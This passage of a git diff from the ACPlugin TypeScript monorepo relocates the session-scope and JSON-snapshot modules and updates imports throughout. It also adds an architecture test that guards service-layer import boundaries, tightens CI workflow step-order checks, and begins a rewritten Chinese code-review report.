'../contracts/integrations.js'; import type { PluginMetadata } from '../contracts/config.js'; import { DiagnosticRegistry } from '../services/diagnostics.js'; +import { snapshotJson } from '../security/json-snapshot.js'; import { compareCodePoints, safeRelativePath } from '../security/path-policy.js'; import { sanitizeStableText } from '../security/report-safety.js'; -import { snapshotJson } from './json-snapshot.js'; /** subject/capability/field/transformation/cause 使用的稳定结构化身份。 */ const STABLE_REFERENCE = /^[a-z0-9]+(?:[-.:/][a-z0-9]+)*$/u; diff --git a/packages/core/src/package/documents.ts b/packages/core/src/package/documents.ts index 52b799d..8cdd7b9 100644 --- a/packages/core/src/package/documents.ts +++ b/packages/core/src/package/documents.ts @@ -6,7 +6,7 @@ import type { JsonValue, } from '../contracts/common.js'; import type { PackageDocumentSnapshot } from '../contracts/packages.js'; -import { snapshotJson } from './json-snapshot.js'; +import { snapshotJson } from '../security/json-snapshot.js'; /** Frontmatter Document 的唯一结构化 schema。 */ interface FrontmatterDocumentValue extends JsonObject { diff --git a/packages/core/src/package/json-snapshot.ts b/packages/core/src/package/json-snapshot.ts index 76a2c07..9fe56aa 100644 --- a/packages/core/src/package/json-snapshot.ts +++ b/packages/core/src/package/json-snapshot.ts @@ -3,12 +3,8 @@ import type { JsonObject, JsonValue, } from '../contracts/common.js'; -import { snapshotJson } from '../security/json-snapshot.js'; import { compareCodePoints } from '../security/path-policy.js'; -/** Package 领域沿用唯一的 Core strict JSON snapshot 实现。 */ -export { snapshotJson }; - /** * 验证并复制非空 Document 字段路径。 * diff --git a/packages/core/src/package/registry.ts b/packages/core/src/package/registry.ts index ef291b0..b5a0ee9 100644 --- a/packages/core/src/package/registry.ts +++ b/packages/core/src/package/registry.ts @@ -20,6 +20,7 @@ import type { } from '../contracts/packages.js'; import { AssetRegistry } from '../services/assets.js'; import { dataArrayItems, dataObjectFields } from '../security/data-boundary.js'; +import { snapshotJson } from '../security/json-snapshot.js'; import { compareCodePoints, safeRelativePath, sourceCollisionKey } from '../security/path-policy.js'; import { snapshotCompatibility, snapshotMetadata } from './compatibility.js'; import { documentIsEmpty, encodePackageDocument } from './documents.js'; @@ -28,7 +29,6 @@ import { documentFieldAvailable, documentFieldKey, snapshotFieldPath, - snapshotJson, } from './json-snapshot.js'; /** Package、Document 与 Unit ID 共用的稳定标识规则。 */ diff --git a/packages/core/src/package/report-builder.ts b/packages/core/src/package/report-builder.ts index 6d5b582..a569296 100644 --- a/packages/core/src/package/report-builder.ts +++ b/packages/core/src/package/report-builder.ts @@ -13,7 +13,7 @@ import type { import type { PackageUnitSnapshot } from '../contracts/packages.js'; import { AssetRegistry } from '../services/assets.js'; import { compareCodePoints } from '../security/path-policy.js'; -import { snapshotJson } from './json-snapshot.js'; +import { snapshotJson } from '../security/json-snapshot.js'; /** Schema v2 BuildReport 的完整内部输入。 */ export interface BuildReportInput { diff --git a/packages/core/src/project/project.ts b/packages/core/src/project/project.ts index 869a362..aee578c 100644 --- a/packages/core/src/project/project.ts +++ b/packages/core/src/project/project.ts @@ -18,11 +18,13 @@ import type { RunProjectOptions, } from '../contracts/project.js'; import { - createKernelBuildEnvironment, - disposeKernelBuildEnvironment, normalizeProjectRunOptions, runKernelBuildSession, } from '../lifecycle/build-session.js'; +import { + createKernelBuildEnvironment, + disposeKernelBuildEnvironment, +} from '../lifecycle/build-environment.js'; import { createDevSession } from '../lifecycle/dev-session.js'; import { resolveKernelConfig } from '../config/resolver.js'; import { isInsidePath, safeRelativePath } from '../security/path-policy.js'; diff --git a/packages/core/src/services/assets.ts b/packages/core/src/services/assets.ts index 1683b74..e07e37e 100644 --- a/packages/core/src/services/assets.ts +++ b/packages/core/src/services/assets.ts @@ -12,7 +12,7 @@ import type { } from '../contracts/services.js'; import type { AssetOrigin } from '../contracts/reports.js'; import type { CompileAssetOriginInput } from '../contracts/compiler.js'; -import { BuildSessionScope } from '../lifecycle/session-scope.js'; +import { BuildSessionScope } from './session-scope.js'; import { compareCodePoints, safeRelativePath, validatePhysicalEntry } from '../security/path-policy.js'; import { SourceRegistry } from './sources.js'; import type { WorkDirectoryHandle } from './work-directories.js'; diff --git a/packages/core/src/lifecycle/session-scope.ts b/packages/core/src/services/session-scope.ts similarity index 92% rename from packages/core/src/lifecycle/session-scope.ts rename to packages/core/src/services/session-scope.ts index 8c92b36..cbc9b23 100644 --- a/packages/core/src/lifecycle/session-scope.ts +++ b/packages/core/src/services/session-scope.ts @@ -1,5 +1,5 @@ /** - * 绑定一次 BuildSession 内所有 capability registry 的存活状态。 + * 为一次 BuildSession 的 capability registry 绑定共同存活状态。 * * Scope 本身不通过 SDK 暴露;SourceRef/AssetRef 的运行时授权仍由各 Registry * 的 WeakMap 对象身份记录完成。 diff --git a/packages/core/src/services/sources.ts b/packages/core/src/services/sources.ts index 68a830d..eef7694 100644 --- a/packages/core/src/services/sources.ts +++ b/packages/core/src/services/sources.ts @@ -8,7 +8,7 @@ import type { SourceFileRef, SourceService, } from '../contracts/services.js'; -import { BuildSessionScope } from '../lifecycle/session-scope.js'; +import { BuildSessionScope } from './session-scope.js'; import { compareCodePoints, isInsidePath, diff --git a/packages/core/src/services/watch.ts b/packages/core/src/services/watch.ts index 4fd53e5..8b956fc 100644 --- a/packages/core/src/services/watch.ts +++ b/packages/core/src/services/watch.ts @@ -1,6 +1,6 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import { BuildSessionScope } from '../lifecycle/session-scope.js'; +import { BuildSessionScope } from './session-scope.js'; import { compareCodePoints, isInsidePath, projectReportPath, sourceCollisionKey } from '../security/path-policy.js'; /** Host 向唯一 Watch Registry 提交的单个物理观察。 */ diff --git a/packages/core/src/services/work-directories.ts b/packages/core/src/services/work-directories.ts index be414d6..3e88b51 100644 --- a/packages/core/src/services/work-directories.ts +++ b/packages/core/src/services/work-directories.ts @@ -1,7 +1,7 @@ import { createHash } from 'node:crypto'; import { promises as fs } from 'node:fs'; import path from 'node:path'; -import { BuildSessionScope } from '../lifecycle/session-scope.js'; +import { BuildSessionScope } from './session-scope.js'; import { isInsidePath, safeRelativePath, validatePhysicalEntry } from '../security/path-policy.js'; /** WorkDirectoryRegistry 私有的不可伪造目录句柄。 */ diff --git a/packages/core/test/compiler/compiler-managed.test.ts b/packages/core/test/compiler/compiler-managed.test.ts index 190c9c8..f9c469a 100644 --- a/packages/core/test/compiler/compiler-managed.test.ts +++ b/packages/core/test/compiler/compiler-managed.test.ts @@ -9,7 +9,7 @@ import type { } from '../../src/contracts/index.js'; import { CompilerHost } from '../../src/compiler/compiler-service.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WatchRegistry } from '../../src/services/watch.js'; import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; diff --git a/packages/core/test/compiler/compiler-portable.test.ts b/packages/core/test/compiler/compiler-portable.test.ts index eca6c03..e6b299f 100644 --- a/packages/core/test/compiler/compiler-portable.test.ts +++ b/packages/core/test/compiler/compiler-portable.test.ts @@ -6,7 +6,7 @@ import type { CompileJob, SourceFileRef } from '../../src/contracts/index.js'; import { CompilerHost } from '../../src/compiler/compiler-service.js'; import { packageScope } from '../../src/compiler/managed/boundary.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WatchRegistry } from '../../src/services/watch.js'; import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; diff --git a/packages/core/test/services/module-host.test.ts b/packages/core/test/compiler/module-host.test.ts similarity index 98% rename from packages/core/test/services/module-host.test.ts rename to packages/core/test/compiler/module-host.test.ts index d8761dc..9424391 100644 --- a/packages/core/test/services/module-host.test.ts +++ b/packages/core/test/compiler/module-host.test.ts @@ -4,8 +4,8 @@ import os from 'node:os'; import path from 'node:path'; import { pathToFileURL } from 'node:url'; import { afterEach, describe, expect, it } from 'vitest'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; -import { ModuleHost } from '../../src/services/modules.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; +import { ModuleHost } from '../../src/compiler/module-host.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WatchRegistry } from '../../src/services/watch.js'; import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; diff --git a/packages/core/test/lifecycle/build-session.test.ts b/packages/core/test/lifecycle/build-session.test.ts index 6e14532..ba2da6c 100644 --- a/packages/core/test/lifecycle/build-session.test.ts +++ b/packages/core/test/lifecycle/build-session.test.ts @@ -5,10 +5,12 @@ import { afterEach, describe, expect, it, vi } from 'vitest'; import type { BytesAssetRef, SourceAssetRef, SourceFileRef } from '../../src/contracts/index.js'; import { defineExtension, definePlatform } from '../../src/api/definitions.js'; import { - createKernelBuildEnvironment, - disposeKernelBuildEnvironment, runKernelBuildSession, } from '../../src/lifecycle/build-session.js'; +import { + createKernelBuildEnvironment, + disposeKernelBuildEnvironment, +} from '../../src/lifecycle/build-environment.js'; import { resolveKernelConfig } from '../../src/config/resolver.js'; /** 当前套件创建并统一删除的临时工程。 */ diff --git a/packages/core/test/output/transaction.test.ts b/packages/core/test/output/transaction.test.ts index 5f9aa61..96a21cf 100644 --- a/packages/core/test/output/transaction.test.ts +++ b/packages/core/test/output/transaction.test.ts @@ -4,7 +4,7 @@ import path from 'node:path'; import { afterEach, describe, expect, it, vi } from 'vitest'; import type { PackageUnitSnapshot } from '../../src/contracts/index.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; import { commitPackageUnits, type ManagedOutputPhase } from '../../src/output/transaction.js'; diff --git a/packages/core/test/package/candidate-materializer.test.ts b/packages/core/test/package/candidate-materializer.test.ts index 5870dba..544e610 100644 --- a/packages/core/test/package/candidate-materializer.test.ts +++ b/packages/core/test/package/candidate-materializer.test.ts @@ -4,7 +4,7 @@ import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import type { PackageUnitSnapshot } from '../../src/contracts/index.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; import { materializePackageCandidate, withPackageCandidate } from '../../src/package/candidate-materializer.js'; diff --git a/packages/core/test/package/distribution-registry.test.ts b/packages/core/test/package/distribution-registry.test.ts index 66b1717..f06db9b 100644 --- a/packages/core/test/package/distribution-registry.test.ts +++ b/packages/core/test/package/distribution-registry.test.ts @@ -4,7 +4,7 @@ import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import type { AssetRef, PackageUnitSnapshot } from '../../src/contracts/index.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; import { collectDistributionPackages, createDistributionPackage } from '../../src/package/distributions.js'; diff --git a/packages/core/test/package/package-registry.test.ts b/packages/core/test/package/package-registry.test.ts index a7b3abb..9d019c1 100644 --- a/packages/core/test/package/package-registry.test.ts +++ b/packages/core/test/package/package-registry.test.ts @@ -4,7 +4,7 @@ import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import type { PackageContribution, PlatformPackageInput } from '../../src/contracts/index.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; import { diff --git a/packages/core/test/package/report-builder.test.ts b/packages/core/test/package/report-builder.test.ts index 72c9faf..22543d5 100644 --- a/packages/core/test/package/report-builder.test.ts +++ b/packages/core/test/package/report-builder.test.ts @@ -4,7 +4,7 @@ import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import type { PackageUnitSnapshot } from '../../src/contracts/index.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; import { createBuildReport, serializeBuildReport } from '../../src/package/report-builder.js'; diff --git a/packages/core/test/resources/canonical-provider.test.ts b/packages/core/test/resources/canonical-provider.test.ts index 4db28cc..608abae 100644 --- a/packages/core/test/resources/canonical-provider.test.ts +++ b/packages/core/test/resources/canonical-provider.test.ts @@ -3,7 +3,7 @@ import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WatchRegistry } from '../../src/services/watch.js'; diff --git a/packages/core/test/resources/extension-provider.test.ts b/packages/core/test/resources/extension-provider.test.ts index 8ae6044..27bfdcf 100644 --- a/packages/core/test/resources/extension-provider.test.ts +++ b/packages/core/test/resources/extension-provider.test.ts @@ -13,7 +13,7 @@ import type { } from '../../src/contracts/index.js'; import { defineExtension } from '../../src/api/definitions.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; diff --git a/packages/core/test/resources/public-provider.test.ts b/packages/core/test/resources/public-provider.test.ts index 3cf1ae1..e9d52ac 100644 --- a/packages/core/test/resources/public-provider.test.ts +++ b/packages/core/test/resources/public-provider.test.ts @@ -5,7 +5,7 @@ import { afterEach, describe, expect, it } from 'vitest'; import { definePlatform } from '../../src/api/definitions.js'; import { resolveKernelConfig } from '../../src/config/resolver.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WatchRegistry } from '../../src/services/watch.js'; diff --git a/packages/core/test/resources/resource-registry.test.ts b/packages/core/test/resources/resource-registry.test.ts index 51543e5..f5273c3 100644 --- a/packages/core/test/resources/resource-registry.test.ts +++ b/packages/core/test/resources/resource-registry.test.ts @@ -4,7 +4,7 @@ import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { defineExtension, definePlatform } from '../../src/api/definitions.js'; import { resolveKernelConfig, type ResolvedKernelConfig } from '../../src/config/resolver.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WatchRegistry } from '../../src/services/watch.js'; diff --git a/packages/core/test/resources/runtime-provider.test.ts b/packages/core/test/resources/runtime-provider.test.ts index f8b8722..19188dc 100644 --- a/packages/core/test/resources/runtime-provider.test.ts +++ b/packages/core/test/resources/runtime-provider.test.ts @@ -2,7 +2,7 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { DiagnosticRegistry } from '../../src/services/diagnostics.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { discoverNodeRuntime } from '../../src/resources/runtime/provider.js'; diff --git a/packages/core/test/services/asset-registry.test.ts b/packages/core/test/services/asset-registry.test.ts index 2dbd0b0..bb0bde7 100644 --- a/packages/core/test/services/asset-registry.test.ts +++ b/packages/core/test/services/asset-registry.test.ts @@ -4,7 +4,7 @@ import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import type { AssetRef } from '../../src/api/integration.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; diff --git a/packages/core/test/services/execution-host.test.ts b/packages/core/test/services/execution-host.test.ts index f19a133..70a4588 100644 --- a/packages/core/test/services/execution-host.test.ts +++ b/packages/core/test/services/execution-host.test.ts @@ -6,7 +6,7 @@ import { afterEach, describe, expect, it } from 'vitest'; import type { AssetMode, GeneratedAssetRef } from '../../src/contracts/index.js'; import { CompilerHost } from '../../src/compiler/compiler-service.js'; import { AssetRegistry } from '../../src/services/assets.js'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { ExecutionHost } from '../../src/services/execution.js'; import { SourceRegistry } from '../../src/services/sources.js'; import { WatchRegistry } from '../../src/services/watch.js'; diff --git a/packages/core/test/services/source-registry.test.ts b/packages/core/test/services/source-registry.test.ts index bcdedc3..d3fa1a9 100644 --- a/packages/core/test/services/source-registry.test.ts +++ b/packages/core/test/services/source-registry.test.ts @@ -2,7 +2,7 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { SourcePathCollisionRegistry } from '../../src/security/path-policy.js'; import { SourceRegistry } from '../../src/services/sources.js'; diff --git a/packages/core/test/services/watch-registry.test.ts b/packages/core/test/services/watch-registry.test.ts index c6b085a..8a09e2e 100644 --- a/packages/core/test/services/watch-registry.test.ts +++ b/packages/core/test/services/watch-registry.test.ts @@ -2,7 +2,7 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { BuildSessionScope } from '../../src/services/session-scope.js'; import { WatchRegistry } from '../../src/services/watch.js'; /** Watch Registry 测试创建的临时根。 */ diff --git a/packages/test/test/architecture/integration-boundaries.test.ts b/packages/test/test/architecture/integration-boundaries.test.ts index d1f86a6..dacc2b7 100644 --- a/packages/test/test/architecture/integration-boundaries.test.ts +++ b/packages/test/test/architecture/integration-boundaries.test.ts @@ -21,6 +21,28 @@ const watcherPattern = /(?:from\s+['"]chokidar['"]|import\(\s*['"]chokidar['"])/ /** 主包 bundle 私有 Core 时允许保留的精确源码入口。 */ const privateCoreImportPattern = /(?:from\s+['"]@acplugin\/core(?:\/[^'"]+)?['"]|import\(\s*['"]@acplugin\/core(?:\/[^'"]+)?['"])/; +/** 底层 Registry 不得动态或为运行时值反向加载 Compiler/lifecycle。 */ +function hasServiceLayerRuntimeImport(source: string): boolean { + if (/import\s*\(\s*['"]\.\.\/(?:compiler|lifecycle)\//u.test(source) + || /^[ \t]*import[ \t]*['"]\.\.\/(?:compiler|lifecycle)\//mu.test(source)) { + return true; + } + /** 每个指向上层的静态 import clause 用于区分 value 与纯 type specifier。 */ + const staticImports = source.matchAll(/^[ \t]*import\s+([^;]*?)\s+from\s+['"]\.\.\/(?:compiler|lifecycle)\//gmu); + for (const match of staticImports) { + /** import type 声明整体不会建立运行时依赖。 */ + const clause = match[1]!.trim(); + if (/^type\b/u.test(clause)) + continue; + /** 命名 import 只有全部 specifier 都带 inline type 时才是纯类型依赖。 */ + const named = /^\{([\s\S]*)\}$/u.exec(clause); + if (named !== null && named[1]!.split(',').every(specifier => /^type\b/u.test(specifier.trim()))) + continue; + return true; + } + return false; +} + /** 架构重构完成后正式生产源码不允许保留任何 v1 架构符号。 */ const v1ArchitectureAllowlist = [] as const; @@ -100,6 +122,18 @@ async function matchingFiles(pattern: RegExp): Promise { .sort(); } +/** 返回 services 生产文件中命中层级反向依赖的稳定路径。 */ +async function matchingServiceLayerImports(): Promise { + /** 只检查 Core services 本身,Compiler 可以合法消费这些 registry。 */ + const files = await sourceFiles('packages/core/src/services'); + /** 每个 Service 源码与其路径配对后检查静态 import。 */ + const sources = await Promise.all(files.map(async file => ({ file, source: await fs.readFile(path.join(root, file), 'utf8') }))); + return sources + .filter(({ source }) => hasServiceLayerRuntimeImport(source)) + .map(({ file }) => file) + .sort(); +} + describe('Integration architecture boundary guard', () => { it('only shrinks the exact v1 architecture baseline', async () => { expect(await matchingFiles(v1ArchitecturePattern)).toEqual([...v1ArchitectureAllowlist].sort()); @@ -123,6 +157,28 @@ describe('Integration architecture boundary guard', () => { expect(await matchingFiles(privateCoreImportPattern)).toEqual([...privateCoreImportAllowlist].sort()); }); + it('keeps Core registries below compiler and lifecycle orchestration', async () => { + expect(await matchingServiceLayerImports()).toEqual([]); + }); + + it('recognizes every runtime import form in the service-layer guard', () => { + /** 普通、side-effect 与动态 import 都会建立运行时依赖。 */ + const runtimeImports = [ + 'import { CompilerHost } from "../compiler/compiler-service.js";', + 'import "../lifecycle/build-session.js";', + 'const module = await import("../compiler/module-host.js");', + ]; + for (const source of runtimeImports) + expect(hasServiceLayerRuntimeImport(source)).toBe(true); + expect(hasServiceLayerRuntimeImport('import { type Scope, CompilerHost } from "../compiler/compiler-service.js";')).toBe(true); + expect(hasServiceLayerRuntimeImport('import type { Scope } from "../services/types.js";\nimport { CompilerHost } from "../compiler/compiler-service.js";')).toBe(true); + /** 整体或逐 specifier 的纯类型依赖和同层 Service 依赖都不违反运行时层级。 */ + expect(hasServiceLayerRuntimeImport('import type { KernelBuildEnvironment } from "../lifecycle/build-environment.js";')).toBe(false); + expect(hasServiceLayerRuntimeImport('import { type KernelBuildEnvironment } from "../lifecycle/build-environment.js";')).toBe(false); + expect(hasServiceLayerRuntimeImport('import { type Scope, type Token as Identity } from "../compiler/types.js";')).toBe(false); + expect(hasServiceLayerRuntimeImport('import { SourceRegistry } from "../services/sources.js";')).toBe(false); + }); + it('keeps the removed Node Runtime Extension absent from the workspace', async () => { await expect(fs.access(path.join(root, 'packages/extensions/node-runtime'))).rejects.toThrow(); }); diff --git a/packages/test/test/architecture/repository.test.ts b/packages/test/test/architecture/repository.test.ts index b68c672..b88e714 100644 --- a/packages/test/test/architecture/repository.test.ts +++ b/packages/test/test/architecture/repository.test.ts @@ -58,7 +58,7 @@ describe('repository release and documentation guards', () => { }); it('does not expose an automated publication path', async () => { - /** PR 阶段只做静态检查的 Action 内容。 */ + /** PR 阶段执行静态与行为检查的 Action 内容。 */ const check = await read('.github/workflows/check.yml'); /** 手动消费 Changeset 并创建版本 PR 的 Action 内容。 */ const patch = await read('.github/workflows/patch.yml'); @@ -83,7 +83,8 @@ describe('repository release and documentation guards', () => { expect(check).not.toMatch(/\bpush:/); expect(check).toContain('pnpm run lint'); expect(check).toContain('pnpm run typecheck'); - expect(check).not.toMatch(/pnpm run (?:test|build|release:verify)/); + expect(check).toContain('pnpm run test'); + expect(check).not.toMatch(/pnpm run (?:build|release:verify)/); expect(check).toContain('pnpm run versions:check'); expect(check).toContain('node-version: 22.18.0'); expect(patch).toContain('workflow_dispatch:'); @@ -91,6 +92,20 @@ describe('repository release and documentation guards', () => { expect(patch).toContain('pnpm changeset status --output'); expect(patch).toContain('status.releases.length === 0'); expect(patch).toContain('pnpm version-packages'); + expect(patch).toContain('pnpm run versions:check'); + expect(patch).toContain('pnpm run lint'); + expect(patch).toContain('pnpm run typecheck'); + expect(patch).toContain('pnpm run test'); + /** Version PR 必须验证消费 Changeset 后的最终 lockfile 与源码,且门禁顺序固定。 */ + const patchStepOffsets = [ + 'pnpm version-packages', + 'pnpm install --lockfile-only', + 'pnpm run versions:check', + 'pnpm run lint', + 'pnpm run typecheck', + 'pnpm run test', + ].map(step => patch.indexOf(step)); + expect(patchStepOffsets).toEqual([...patchStepOffsets].sort((left, right) => left - right)); expect(patch).toContain('beta prerelease versions'); expect(patch).toContain('peter-evans/create-pull-request@v8'); expect(patch).toContain('base: ${{ inputs.target_branch }}'); diff --git a/packages/test/test/architecture/workspace-layout.test.ts b/packages/test/test/architecture/workspace-layout.test.ts index 420acef..25c7f8d 100644 --- a/packages/test/test/architecture/workspace-layout.test.ts +++ b/packages/test/test/architecture/workspace-layout.test.ts @@ -6,14 +6,14 @@ import { describe, expect, it } from 'vitest'; /** Workspace 边界测试读取的仓库绝对根目录。 */ const root = fileURLToPath(new URL('../../../..', import.meta.url)); -/** 六个官方 Platform 的目录名、公开包名与当前独立版本。 */ +/** 六个官方 Platform 的目录名与公开包名。 */ const platformPackages = [ - ['claude-code', '@tokenroll/acplugin-platform-claude-code', '0.0.2-beta'], - ['codex', '@tokenroll/acplugin-platform-codex', '0.0.3-beta'], - ['cursor', '@tokenroll/acplugin-platform-cursor', '0.0.2-beta'], - ['antigravity', '@tokenroll/acplugin-platform-antigravity', '0.0.2-beta'], - ['opencode', '@tokenroll/acplugin-platform-opencode', '0.0.2-beta'], - ['pi', '@tokenroll/acplugin-platform-pi', '0.0.2-beta'], + ['claude-code', '@tokenroll/acplugin-platform-claude-code'], + ['codex', '@tokenroll/acplugin-platform-codex'], + ['cursor', '@tokenroll/acplugin-platform-cursor'], + ['antigravity', '@tokenroll/acplugin-platform-antigravity'], + ['opencode', '@tokenroll/acplugin-platform-opencode'], + ['pi', '@tokenroll/acplugin-platform-pi'], ] as const; /** 九个独立版本的正式公开包清单路径。 */ @@ -53,7 +53,6 @@ describe('final workspace skeleton', () => { expect(manifests.map(manifest => manifest.name)).toEqual(platformPackages.map(([, name]) => name)); expect(manifests.every(manifest => manifest.private !== true)).toBe(true); - expect(manifests.map(manifest => manifest.version)).toEqual(platformPackages.map(([, , version]) => version)); expect(manifests.every(manifest => manifest.peerDependencies?.['@tokenroll/acplugin'] === 'workspace:^')).toBe(true); expect(manifests.every(manifest => manifest.dependencies?.['@acplugin/core'] === undefined)).toBe(true); }); diff --git a/packages/test/test/cli/init.test.ts b/packages/test/test/cli/init.test.ts index 216e94b..6355bcc 100644 --- a/packages/test/test/cli/init.test.ts +++ b/packages/test/test/cli/init.test.ts @@ -19,6 +19,11 @@ describe('init', () => { roots.push(cwd); /** 非交互初始化返回的脚手架摘要。 */ const result = await initializeProject({ cwd, directory: 'demo-plugin', yes: true }); + /** 由公开 package manifests 生成、并由脚手架消费的当前生态版本快照。 */ + const versions = JSON.parse(await fs.readFile( + new URL('../../../acplugin/src/ecosystem/versions.json', import.meta.url), + 'utf8', + )) as Record; expect(result.directory).toBe('demo-plugin'); expect(result.platforms).toEqual(['claude-code', 'codex']); @@ -32,8 +37,8 @@ describe('init', () => { expect(JSON.parse(await fs.readFile(path.join(cwd, 'demo-plugin/package.json'), 'utf8'))).toMatchObject({ engines: { node: '^20.19.0 || ^22.13.0 || >=23.5.0' }, devDependencies: { - '@tokenroll/acplugin-platform-claude-code': '^0.0.2-beta', - '@tokenroll/acplugin-platform-codex': '^0.0.3-beta', + '@tokenroll/acplugin-platform-claude-code': `^${versions['@tokenroll/acplugin-platform-claude-code']}`, + '@tokenroll/acplugin-platform-codex': `^${versions['@tokenroll/acplugin-platform-codex']}`, 'typescript': '^7.0.2', }, }); diff --git a/packages/test/test/migration.test.ts b/packages/test/test/migration.test.ts index d8b8d8c..aafad5c 100644 --- a/packages/test/test/migration.test.ts +++ b/packages/test/test/migration.test.ts @@ -642,6 +642,11 @@ Review code. const manifest = JSON.parse(await fs.readFile(path.join(root, 'migrated/package.json'), 'utf8')) as { readonly devDependencies: Record; }; + /** Migration 与 init 共用的、由公开 package manifests 生成的生态版本快照。 */ + const versions = JSON.parse(await fs.readFile( + new URL('../../acplugin/src/ecosystem/versions.json', import.meta.url), + 'utf8', + )) as Record; expect(report.success, JSON.stringify(report.diagnostics)).toBe(true); expect(report.items).toContainEqual(expect.objectContaining({ @@ -657,7 +662,8 @@ Review code. expect(descriptor).toContain('from \'@tokenroll/acplugin-extension-mcp\''); expect(descriptor).toContain('"env":"DOCS_TOKEN"'); expect(descriptor).toContain('"env": "TENANT_ID"'); - expect(manifest.devDependencies['@tokenroll/acplugin-extension-mcp']).toBe('^0.0.2-beta'); + expect(manifest.devDependencies['@tokenroll/acplugin-extension-mcp']) + .toBe(`^${versions['@tokenroll/acplugin-extension-mcp']}`); await expect(fs.access(path.join(root, 'migrated/node_modules'))).rejects.toThrow(); }); }); diff --git a/review1.md b/review1.md index 634cfd7..2e28e1d 100644 --- a/review1.md +++ b/review1.md @@ -1,779 +1,364 @@ -# ACPlugin Kernel v2 最终独立对抗式交叉 Review +# ACPlugin 工作树交叉 Review 报告 -> 本轮 Review 完全独立执行,不默认任何既有方案、Review 或测试结论正确。所有结论以当前源码、类型契约、实际执行结果为准。 -> 标记 **[EXEC]** 的结论有可复现的执行证据;标记 **[READ]** 的结论由精确代码路径推导,未构造执行复现。 +> 审查范围:完整工作树(HEAD) +> 审查方式:只读。未编辑源码、未 stage/commit/reset/checkout、未发布或修改版本。 +> 审查日期:2026-08-20 ---- - -## 1. Executive Verdict - -**Final decision: `NOT_READY`** - -### 当前是否可交付 - 